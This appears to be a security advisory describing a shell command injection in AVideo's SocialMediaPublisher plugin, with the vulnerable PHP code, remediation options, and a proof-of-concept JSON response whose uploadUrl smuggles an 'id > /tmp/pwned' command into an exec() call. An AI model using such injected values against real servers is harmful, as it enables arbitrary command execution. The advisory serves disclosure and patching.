| Package | Affected versions | Patched versions |
|---|---|---|
| wwbn/avideo | ≤ 25.0 | |
| avideo | < 26.0 | 26.0 |
The uploadVideoToLinkedIn() method in the SocialMediaPublisher plugin constructs a shell command by directly interpolating an upload URL received from LinkedIn's API response, without sanitization via escapeshellarg(). If an attacker can influence the LinkedIn API response (via MITM, compromised OAuth token, or API compromise), they can inject arbitrary OS commands that execute as the web server user.
The vulnerability exists in plugin/SocialMediaPublisher/Objects/SocialUploader.php.
The initializeLinkedInUploadSession() method (line 649) sends a POST request to https://api.linkedin.com/rest/videos?action=initializeUpload and parses the JSON response at line 693:
// SocialUploader.php:693
$responseArray = json_decode($response, true);
The parsed uploadInstructions array is iterated at line 532, and each uploadUrl is passed to uploadVideoToLinkedIn() at line 542:
// SocialUploader.php:542
$uploadResponse = self::uploadVideoToLinkedIn($instruction['uploadUrl'], $tmpFile);
The uploadVideoToLinkedIn() method (line 711) constructs a shell command by directly concatenating both $uploadUrl and $filePath into a string passed to exec():
// SocialUploader.php:713-720
$shellCmd = 'curl -v -H "Content-Type:application/octet-stream" --upload-file "' .
$filePath . '" "' .
$uploadUrl . '" 2>&1';
_error_log("Upload Video Shell Command:\n" . $shellCmd);
exec($shellCmd, $o);
Neither $uploadUrl nor $filePath is sanitized with escapeshellarg(). A malicious URL such as https://uploads.linkedin.local" ; id ; echo " would break out of the quoted string and execute arbitrary commands.
The $uploadUrl originates from LinkedIn's API response — a trusted third-party source over HTTPS — so exploitation requires compromising that response (MITM at CA level, compromised OAuth token leading to attacker-controlled API responses, or LinkedIn API compromise). This makes the attack complexity high, but the missing sanitization is a defense-in-depth failure that could become critical if the trust boundary is ever violated.
This vulnerability requires manipulating the LinkedIn API response. A simulated proof-of-concept using a local proxy:
Step 1: Set up a proxy that intercepts the LinkedIn API response and replaces the field:
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freeuploadUrl{
"value": {
"uploadInstructions": [
{
"uploadUrl": "https://example.com\" ; id > /tmp/pwned ; echo \"",
"firstByte": 0,
"lastByte": 1024
}
],
"uploadToken": "token123",
"video": "urn:li:video:123"
}
}
Step 2: The resulting shell command becomes:
curl -v -H "Content-Type:application/octet-stream" --upload-file "/tmp/tmpfile" "https://uploads.linkedin.local" ; id > /tmp/pwned ; echo "" 2>&1
Step 3: The id command executes as the web server user, writing output to /tmp/pwned.
Step 4: Verify:
cat /tmp/pwned
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data).Sanitize both $uploadUrl and $filePath with escapeshellarg() before interpolation into the shell command. Alternatively, replace the exec() call with PHP's native cURL functions (which are already used elsewhere in the same class):
Option 1 — Minimal fix with escapeshellarg():
// plugin/SocialMediaPublisher/Objects/SocialUploader.php:711-715
static function uploadVideoToLinkedIn($uploadUrl, $filePath)
{
$shellCmd = 'curl -v -H "Content-Type:application/octet-stream" --upload-file ' .
escapeshellarg($filePath) . ' ' .
escapeshellarg($uploadUrl) . ' 2>&1';
Option 2 — Replace shell exec with native PHP cURL (preferred):
static function uploadVideoToLinkedIn($uploadUrl, $filePath)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $uploadUrl);
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/octet-stream']);
curl_setopt($ch, CURLOPT_PUT, true);
curl_setopt($ch, CURLOPT_INFILE, fopen($filePath, 'r'));
curl_setopt($ch, CURLOPT_INFILESIZE, filesize($filePath));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_VERBOSE, true);
$response = curl_exec($ch);
$headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$headers = substr($response, 0, $headerSize);
curl_close($ch);
// Extract ETag from response headers
$matches = [];
preg_match('/(etag:)(\s?)(.*)(\n)/i', $headers, $matches);
$etag = isset($matches[3]) ? trim($matches[3]) : null;
// ... rest of function
}
Option 2 is strongly preferred as it eliminates the shell execution entirely, removing the injection surface and aligning with the PHP cURL usage already present in initializeLinkedInUploadSession() on line 664.